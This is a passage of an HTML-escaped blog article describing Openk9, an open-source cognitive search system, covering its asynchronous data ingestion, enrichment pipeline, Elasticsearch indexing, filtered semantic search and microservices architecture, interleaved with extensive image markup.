    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:97.00000000000001%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;389\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20389\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M183%201c-36%208-52%2016-74%2036-45%2044-52%20112-16%20164%2011%2016%2014%2018%2020%209l10-11c11-11%2014-20%2017-43l2-16%204%201c9%205%2028%2010%2034%209%2015-3%2017-25%205-69-2-9-2-9%209-6%2015%205%2020%208%2024%2014%205%207%206%207%2027%209l21%203c7%203%201%2025-11%2037-9%209-11%209-29%2010s-19%201-24%207c-3%204-4%2012-2%2017l3%2011%2012%2044c9%2029%208%2028%2018%2026%2019-4%2043-18%2060-37%2033-35%2044-81%2029-126A131%20131%200%2000183%201m5%2011a121%20121%200%2000-93%2062c-18%2034-18%2074-1%20108%205%209%2011%2018%2013%2018%201%200%2011-11%2014-17%205-8%208-21%2010-41v-9l-5-6c-6-6-6-8-6-17%202-21%2020-44%2041-50l8-2%2016%204c26%206%2038%2012%2044%2022%200%201%204%202%2020%203%2025%203%2030%206%2031%2017%201%2019-13%2043-30%2051-6%203-7%203-22%204-17%201-18%201-18%206l8%2031a1893%201893%200%200114%2045c2%202%2028-10%2037-18a117%20117%200%200026-162%20120%20120%200%2000-107-49m-30%2061c-16%208-32%2035-26%2044s34%2023%2044%2022c5-1%206-4%206-15-1-9-6-37-10-48-2-7-5-8-14-3m45%2020c-5%203-2%2010%203%2010%206%200%208-6%203-10-3-2-3-2-6%200m166%20200c-15%202-23%2011-23%2025-1%2013%207%2021%2020%2023l6%201-8%2010-8%2012h20c3-3%2020-29%2021-33l3-5v-3c0-11%200-13-3-17-4-10-16-15-28-13m-344%201c-10%204-16%209-21%2018-4%209-4%2026%201%2035%204%208%2010%2014%2019%2017%208%203%2023%203%2031-1%2028-14%2026-59-3-68-8-2-20-3-27-1m250%201v36l1%2034%208-1h8v-15l1-15%2023%2028c2%202%2022%203%2023%201l-15-18-15-18%209-10%2020-22-10-1c-11%200-11%200-13%203l-12%2014-10%2011-1-14v-13l-8-1-9%201m-247%208c-17%207-22%2033-9%2046%207%208%2021%2010%2031%205%2019-9%2018-40%200-50-4-2-17-2-22-1m338%206c-8%206-3%2019%206%2019%2011%200%2015-11%208-18-3-4-10-4-14-1m-259%206l-7%204c-3%203-4%204-4%202%200-5-2-7-6-5h-3v73h10v-15l1-15%201%201c0%202%2010%206%2016%206%2024%200%2033-35%2012-48-6-4-15-5-20-3m58%201c-11%204-16%2012-16%2024%200%209%201%2013%206%2019%209%209%2029%209%2038%200l2-3-3-3-3-3-3%202c-8%208-22%206-26-3l-1-5%2019-1h19v-4c0-18-16-29-32-23m66-1c-2%201-6%203-7%205l-3%202v-3c0-3-1-4-7-3h-3v48h3c7%201%207%201%207-16%200-14%201-16%203-19%204-6%2012-8%2017-4%204%204%204%205%204%2024l1%2016%204-1h5v-19c0-22-1-22-7-27-5-4-12-5-17-3m-63%208c-4%201-9%207-9%2011v2h14c15%200%2015%200%2012-6-2-6-10-9-17-7m-65%203c-15%2011-4%2035%2014%2031%2013-3%2016-25%204-32-5-3-13-3-18%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/2f3af17c9f915d042f20528698e4ad05/c85cb/openk9.webp 300w,/static/2f3af17c9f915d042f20528698e4ad05/edd59/openk9.webp 352w&quot; sizes=&quot;(max-width: 352px) 100vw, 352px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/2f3af17c9f915d042f20528698e4ad05/f93b5/openk9.jpg 300w,/static/2f3af17c9f915d042f20528698e4ad05/e5a29/openk9.jpg 352w&quot; sizes=&quot;(max-width: 352px) 100vw, 352px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figura 6 - Openk9&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/2f3af17c9f915d042f20528698e4ad05/e5a29/openk9.jpg&quot; title=&quot;Figura 6 - Openk9&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 6 - Openk9&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Openk9 is an Open Source cognitive research solution. The code is then available on &lt;a href=&quot;https://github.com/smclab/openk9&quot;&gt;Github&lt;/a&gt;.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ab730a75dd2e6782c00737914f308739/1f6b7/github.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:57.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;231\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20231\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2022v10h401V12H0v10m258%2054v4h22v-7l-11-1h-11v4\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ab730a75dd2e6782c00737914f308739/c85cb/github.webp 300w,/static/ab730a75dd2e6782c00737914f308739/e88ff/github.webp 600w,/static/ab730a75dd2e6782c00737914f308739/92f8c/github.webp 1200w,/static/ab730a75dd2e6782c00737914f308739/62ed8/github.webp 1800w,/static/ab730a75dd2e6782c00737914f308739/ada04/github.webp 1909w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ab730a75dd2e6782c00737914f308739/5a46d/github.png 300w,/static/ab730a75dd2e6782c00737914f308739/0a47e/github.png 600w,/static/ab730a75dd2e6782c00737914f308739/c1b63/github.png 1200w,/static/ab730a75dd2e6782c00737914f308739/d61c2/github.png 1800w,/static/ab730a75dd2e6782c00737914f308739/1f6b7/github.png 1909w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 7 - Openk9 Github&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ab730a75dd2e6782c00737914f308739/c1b63/github.png&quot; title=&quot;Figure 7 - Openk9 Github&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 7 - Openk9 Github&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Documentation and in-depth information are available on the &lt;a href=&quot;https://www.openk9.io/&quot;&gt;Openk9 website&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s see how Openk9 realizes what are the main characteristics of a cognitive search system.&lt;/p&gt;&lt;h3 id=&quot;data-ingestion&quot;&gt;Data ingestion&lt;/h3&gt;&lt;p&gt;Through a specific ingestion interface, the data are made to flow into the system which then, through a communication system
asynchronous queue-based, manages the flow up to indexing.
The choice to manage communication in a totally asynchronous way is dictated by the need to manage back pressure efficiently
resulting from the ingestion of massive data.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;&lt;span class=&quot;gatsby-resp-image-wrapper AnimatedFigure-module--wrapper--3ppY-&quot;&gt;&lt;img class=&quot;gatsby-resp-image-image AnimatedFigure-module--image--CrbDx&quot; alt=&quot;Figure 8 - Ingestion&quot; title=&quot;Figure 8 - Ingestion&quot; src=&quot;/linked/89ca409f43b6dd102863bb37a82b2609/ingestion1.gif&quot;/&gt;&lt;/span&gt;&lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 8 - Ingestion&lt;/figcaption&gt;&lt;/figure&gt;&lt;h3 id=&quot;enrichment-and-indexing&quot;&gt;Enrichment and indexing&lt;/h3&gt;&lt;p&gt;The data is subsequently merged through a phase where it is subject to an enrichment activity defined according to needs.
Each step of the enrichment pipeline extracts and binds new information to the data in a structured way.
At the end of the enrichment phase, the enriched data is indexed in &lt;a href=&quot;https://www.elastic.co/&quot;&gt;Elasticsearch&lt;/a&gt; and can now be searched.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;&lt;span class=&quot;gatsby-resp-image-wrapper AnimatedFigure-module--wrapper--3ppY-&quot;&gt;&lt;img class=&quot;gatsby-resp-image-image AnimatedFigure-module--image--CrbDx&quot; alt=&quot;Figura 9 - Enrichment and indexing&quot; title=&quot;Figura 9 - Enrichment and indexing&quot; src=&quot;/linked/3b5108157994628f1ec5f94420a6d021/ingestion2.gif&quot;/&gt;&lt;/span&gt;&lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 9 - Enrichment and indexing&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;The research can take place on fields originating from the original data and exploiting the information extracted and added during the enrichment phase.&lt;/p&gt;&lt;p&gt;Wanting to give an example, let&amp;#x27;s assume we are dealing with a data source of business documents deriving from a portal.
Openk9 connects to this data source and ingests the entire document base periodically internally.&lt;/p&gt;&lt;p&gt;Each document goes through an enrichment pipeline consisting of two phases:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Entity recognition&lt;/li&gt;&lt;li&gt;Classification with respect to the type of document&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The presence of this additional information allows the user to make more precise and advanced searches such as the following.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/f1b4bea937f98f2278bbef47e54ccae5/efeb1/search2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:40.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;163\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20163\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M24%2034c-2%203-1%2021%200%2022h36V33c-2-2-36-1-36%201m52-1l-1%2013%201%2011h71l74-1c1-2%202-21%200-23S78%2031%2076%2033m153%201c-2%202-1%2020%201%2022%201%202%20113%203%20116%201%202-1%202-2%202-11l-1-11c0-2-116-3-118-1M37%2036c-5%201-7%209-3%2013%203%202%207%203%2010%200%202-1%202-1%205%201l3%201-2-3c-2-1-3-2-3-4%200-5-5-9-10-8m-2%203c-4%204-1%2010%204%2010%204%200%206-2%206-6%200-5-6-8-10-4m58-1v8l1%207h6c5%200%206%200%207-2l-1-2%202-4c3-3%203-3%201-4l-2-3c0-2-13-1-14%200m148%206l-1%208c0%202%201%202%207%202l6-1V37h-12v7M95%2045v6h5l5-1-4-1-4-1%202-1c3%200%206-4%206-7%200-2%200-2-5-2h-5v7m147%200l1%207%201-2c0-2%201-2%203-2s3%200%203%202l1%202%201-7v-7h-10v7M23%2078l-1%2011v10h18v-8c0-11-2-14-11-14l-6%201m1%2010l1%209h6l7%201v-7c0-6%200-7-2-7l-2-2c0-3%200-3-5-3h-5v9m27-3c-2%205%202%2011%206%207h4c1%202%202%202%204%201%204-2%203-11-1-11l-4%202h-2c-2-3-6-2-7%201m18-2c-2%201-1%202%202%201l2%201-2%204c-4%203-4%205%200%205l5-1h10c2-2%206-3%207%200l1%201%203-1c2-2%206-2%206%200l2%201c1-1-3-12-5-12l-3%205-2%205-2-5c-2-6-4-6-7%200-1%206-2%206-2%200%200-4-1-4-3-4l-4%201h2c3%200%204%201%201%202-1%201-1%201%201%202v3h-7c-2%200-2%200%200-3%201-2%202-3%201-4-1-2-5-3-6-1\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/f1b4bea937f98f2278bbef47e54ccae5/c85cb/search2.webp 300w,/static/f1b4bea937f98f2278bbef47e54ccae5/e88ff/search2.webp 600w,/static/f1b4bea937f98f2278bbef47e54ccae5/92f8c/search2.webp 1200w,/static/f1b4bea937f98f2278bbef47e54ccae5/bd7e0/search2.webp 1593w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/f1b4bea937f98f2278bbef47e54ccae5/5a46d/search2.png 300w,/static/f1b4bea937f98f2278bbef47e54ccae5/0a47e/search2.png 600w,/static/f1b4bea937f98f2278bbef47e54ccae5/c1b63/search2.png 1200w,/static/f1b4bea937f98f2278bbef47e54ccae5/efeb1/search2.png 1593w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 10 - Filtered Search&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/f1b4bea937f98f2278bbef47e54ccae5/c1b63/search2.png&quot; title=&quot;Figure 10 - Filtered Search&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 10 - Filtered Search&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;In this the objective is to search only and exclusively the contents cataloged as &lt;em&gt;Business Plan&lt;/em&gt; and related to the &lt;em&gt;Acme Inc&lt;/em&gt; organization.
The result is a search made of semantic filters and not simply a full text search. Resulting in greater precision in the results.&lt;/p&gt;&lt;h2 id=&quot;architectural-features&quot;&gt;Architectural features&lt;/h2&gt;&lt;p&gt;Appropriate architectural choices were made in the creation of Openk9, which make it a product with certain characteristics.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/f779a5923336e4ac9989989735d3c01d/00602/features1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:51%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;203\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20203\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M53%2010l-2%204c0%204%203%206%207%204h2l4%201c3%200%203%200%203-4s-2-6-5-5c-3%200-2%202%201%202l3%201-4%201c-4%202-7%203-8%201l2-1c3%201%204-3%201-4h-4m38%201h-2l-2-1c-3%200-3%200-3%205s2%206%202%201c1-4%203-5%203-1%201%203%205%205%207%204%202-2%201-3-1-3h-3c0-2%208-2%209%200%201%201%201%201-1%201-1%200-2%200-1%201%200%202%204%201%205-1%201-1%201-1-1-3s-3-3%200-2l1-1c0-1-3-2-5-1-1%202-2%202-4%200-1-1-2-1-4%201M7%2072c0%2018%200%2021%202%2021l1-21-1-22c-2%200-2%203-2%2022m234-8l-4%202v12l4%202c4%202%205%202%209%200l5-2V66l-5-2c-4-2-5-2-9%200M38%2068c-5%207-3%2010%207%2010%208%200%2011-1%2011-4%200-2-5-8-7-8l-2-1c-2-2-6-1-9%203m4-2l-3%204-2%204c1%202%2016%203%2017%200l-1-3-2-2-2-1-3-2h-4M7%20123c0%2014%201%2021%202%2021s1-42-1-43l-1%2022m239-9l-2%203c0%202%200%203-2%202-4%200-4%202-1%205%204%203%204%208%201%208-1%201%200%201%203%201s4%200%203-1c-3%200-4-2-2-2s5-5%204-6l-3-1c-3%201-3-3%200-3%202-1%204-5%203-6h-4m-141%2040c-1%203%200%2042%202%2043l1-22-1-22-2%201m33%2014c-5%205-3%2010%203%2010%203%200%204%201%206%203%204%204%207%202%203-3-2-1-3-4-3-5%200-6-6-8-9-5\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/f779a5923336e4ac9989989735d3c01d/c85cb/features1.webp 300w,/static/f779a5923336e4ac9989989735d3c01d/e88ff/features1.webp 600w,/static/f779a5923336e4ac9989989735d3c01d/92f8c/features1.webp 1200w,/static/f779a5923336e4ac9989989735d3c01d/942b6/features1.webp 1671w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/f779a5923336e4ac9989989735d3c01d/5a46d/features1.png 300w,/static/f779a5923336e4ac9989989735d3c01d/0a47e/features1.png 600w,/static/f779a5923336e4ac9989989735d3c01d/c1b63/features1.png 1200w,/static/f779a5923336e4ac9989989735d3c01d/00602/features1.png 1671w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 11 - Architectural Features&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/f779a5923336e4ac9989989735d3c01d/c1b63/features1.png&quot; title=&quot;Figura 11 - Architectural Features&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 11 - Architectural Features&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Among the different characteristics, the most important one is that of scalability. A cognitive search engine must be in
able to scale easily, to efficiently manage the different loads to which this can be subjected over time through ingestion
of data.&lt;/p&gt;&lt;p&gt;The quality of scalability is given above all by the microservices architecture on which Openk9 is based, and by the totally asynchronous communication
that exists between the different services of the system.&lt;/p&gt;&lt;p&gt;On the Openk9 website there is an in-depth architectural documentation with details on the different components that make up the system.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/b649174966f5602c534c87a8147aca34/e2cbf/architecture.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:39.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;159\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20159\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M163%203c-3%202-3%2026-1%2028a248%20248%200%200051-1c1%200%202-2%202-12%200-12%200-13%202-13l-1-1-2-2c-2-2-49-1-51%201m-94%207c0%202%200%202-8%202h-5l8%201h6l-8%201-7%201v15h33c0-3%200-7%202-8v-3l-2-2c0-2-1-3-8-3-8-1-8-1-3-1l8-1c3-1%203-1%203%201%201%202%201%202%201-1V9l-4%202H73l-2-2c-2-1-2%200-2%201m161%204c-2%202-1%2016%200%2019s4%204%203%202%201-2%209-2%2010%200%2010-2V15c-1-1-1%202-1%208v9h-20V15l10-1%2011-1h-11l-11%201m5%202c-2%203-1%206%202%206%202%200%202%200%201%202-2%203%200%206%203%206l4-1-1-1c-1%200-1-5%201-6l2-1v-3c0-3%200-3-6-3l-6%201m74%202l-1%2010%201%2010h9l10%201c2%201%202-18%200-21%200-1-17-2-19%200M126%2043v22c-2%202-1%2021%201%2024%203%203%2034%203%2035-1l2-2%203-1h-3c-3%200-3-7%200-7v-1c-2-1-2-2-2-6%200-6-1-7-11-7-6%200-7%200-7-2l-1-2v2c-1%202-2%202-6%202h-5V42l-3-1c-2%200-3%200-3%202m7-1v7l1%205h28V41h-14l-15%201m118%208v9l1%207h4c3%200%204%201%204%202l1%201%201-1c0-2%201-2%204-2%205%200%205-1%205-9%200-9%200-9-10-9-8%200-9%200-10%202m44%201l-1%2010v9h13l-6%201-5%201v20h6l7-1c2-2%201-18%200-19v-3c1-1%202-16%200-18h-14m-6%203l-1%2018c0%2016%201%2017%203%2017%201%200%202-1%202-17l-1-18h-3m22%200v23l1%2021h6V88a1935%201935%200%20002-22h3l-3-1c-2%200-2-1-2-6s-1-6-3-6l-4%201M87%2056l-1%2013%201%2010h7V68c0-11-1-14-4-14l-3%202m105%2012v12h7V57l-4-1h-3v12m17-11c-2%200-2%201-2%2012v11h10V69l-1-12h-7m157%201c-2%201-3%2052-1%2055%201%202%202%202%2014%202l14-1c2-2%202-55%200-57s-25-1-27%201M95%2058v4c0%202%201%203%2010%203h10v-7l-10-1-10%201m72%203c-1%201-2%204-1%206l-1%203v2l5%201c2%200%203%200%202%202h1l2-1%204-1c6%200%207-2%207-10v-4l-9-1c-8%200-8%200-10%203m174-1c-3%201-2%201%204%201h7v52h-14V87l-1-20v47h8c10%200%209%200%209-15%200-10%200-11%202-12h2l-2-1c-2%200-2-1-2-12l-1-13c-1-1-8-2-12-1M5%2062L4%2076c0%2012%200%2013%202%2015%203%203%203%203%2012%203h10v-8c1-15%200-22-3-23l-2-2c0-2-18-1-18%201m47%201l-1%207-1%206h-2l-2%201h4l1%207%201%206a36%2036%200%20006%200l1-14V63l-4-1-3%201m8%200v14l1%2013h15V77l-1-14c-2-1-14-2-15%200m279%2024v25h12V62h-12v25M95%2068v5l1%203h19v-8l-10-1-10%201m142%2011v6l1%2010c0%205%200%206%201%204%200-4%200-5%201-4l11%201h9v7h-11l-10%201h11c9%200%2011%200%2011-2V87l1-2c2-1%203-4%201-6h-26M87%2082v6l1%205h27V82l-14-1-14%201m104%200l-3%203-2%201h2c2%200%203%201%203%202v11c-1%204%201%205%2012%206%2016%200%2015%201%2015-12V82l-13-1-14%201m37%204l-1%207v7h8V86l-4-1-3%201m39%200l-2%201-1%207%201%208h7v-8l-1-7-2-1-1-1-1%201m-136%207v6l14%201h12v-7l-13-1-13%201m-80%201c-1%205%200%206%2012%206h12v-6l-12-1-12%201m235%200v6l1%205h23V94l-12-1-12%201M88%2099v3h27v-6l-14-1H88v4m20%2027c0%202-3%202-27%202-27%200-29%200-32%203-3%202-3%207%200%2010s232%203%20235%200c2-3%202-8-1-11-3-2-4-2-23-2-12%200-19%200-18-1l-1-1a309%20309%200%2001-42%202c-37%200-42%200-42-2h-1v1l-5%201c-3%200-5%200-4-1l-1-1c-1%200-2%200-1%201l-4%201-5-1h-2l-13%201-12-1v-1h-1\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/b649174966f5602c534c87a8147aca34/c85cb/architecture.webp 300w,/static/b649174966f5602c534c87a8147aca34/e88ff/architecture.webp 600w,/static/b649174966f5602c534c87a8147aca34/92f8c/architecture.webp 1200w,/static/b649174966f5602c534c87a8147aca34/62ed8/architecture.webp 1800w,/static/b649174966f5602c534c87a8147aca34/b3a2e/architecture.webp 2138w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/b649174966f5602c534c87a8147aca34/5a46d/architecture.png 300w,/static/b649174966f5602c534c87a8147aca34/0a47e/architecture.png 600w,/static/b649174966f5602c534c87a8147aca34/c1b63/architecture.png 1200w,/static/b649174966f5602c534c87a8147aca34/d61c2/architecture.png 1800w,/static/b649174966f5602c534c87a8147aca34/e2cbf/architecture.png 2138w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 12 - Openk9 Architecture&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/b649174966f5602c534c87a8147aca34/c1b63/architecture.png&quot; title=&quot;Figure 12 - Openk9 Architecture&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 12 - Openk9 Architecture&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;To learn more about the architectural aspects, consult the specific documentation on the Openk9 website.&lt;/p&gt;&lt;h2 id=&quot;functional-features&quot;&gt;Functional Features&lt;/h2&gt;&lt;p&gt;Openk9 also implements precise functional features, which make it a system with a strong&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/51903dcd04c7ed8367e5d4208ddfee74/7e21b/features2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:52.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;211\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20211\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M66%209c-1%202-1%202-3%201s-5-1-5%201l1%201c3-1%203%201%200%202-3%202-2%204%202%205%204%200%204%200%204-4%200-3%200-4%201-3l1%204c0%202%200%203%202%203l2-1-1-1c-2%200-1-5%201-6l1%203c0%204%201%205%205%205%203%200%203%200%203-5%200-6-2-7-2-1-1%205-3%205-3%200%200-3-1-3-3-4l-3-1c0-2-1-1-3%201m16%205l1%205%201-3%202-4c2-1%202-1%202%201-2%203%201%206%208%206%206%200%207-1%207-3%200-1%200-2-2-3l-2-1h2l2-1c-1-2-4-2-5-1-2%202-2%202-3%200h-7c-4-2-6-1-6%204M3%2073c0%2019%200%2022%202%2022l1-22-1-22c-2%200-2%203-2%2022m205%200c0%2019%200%2022%202%2022l1-22-1-22c-2%200-2%203-2%2022m35-4c0%205%200%206%202%209%203%205%204%205%206%200%203-4%203-5%202-8-1-5-3-6-4-2%200%202-2%202-2-1%200-4-3-2-4%202M32%2069c0%202%201%202%203%202l5%201h-8v4c0%204%200%204%203%204l5-2%201-2%201%202c1%202%209%203%2011%201V68c-2-2-10-1-11%201l-1%202-1-2c-3-3-8-3-8%200M4%20104a210%20210%200%20001%2044l1-22c0-20%200-24-2-22m205%201a210%20210%200%20001%2044l1-22c0-20%200-24-2-22M39%20117c-8%205-6%2018%203%2018%203%200%206-3%206-5-1-1%201-3%202-6%203-4%203-7%200-5-1%201-2%200-4-1-2-2-4-2-7-1m208%201h1c3%200%203%200-2%205l-2%204%204-4c4-4%206-2%202%203-2%202-9%205-8%202v-1c-1%200-2-1-1-2h-1v3c1%202%201%202-1%203l-2%203c0%202%201%202%208%202%2011%200%2016-3%2012-7v-2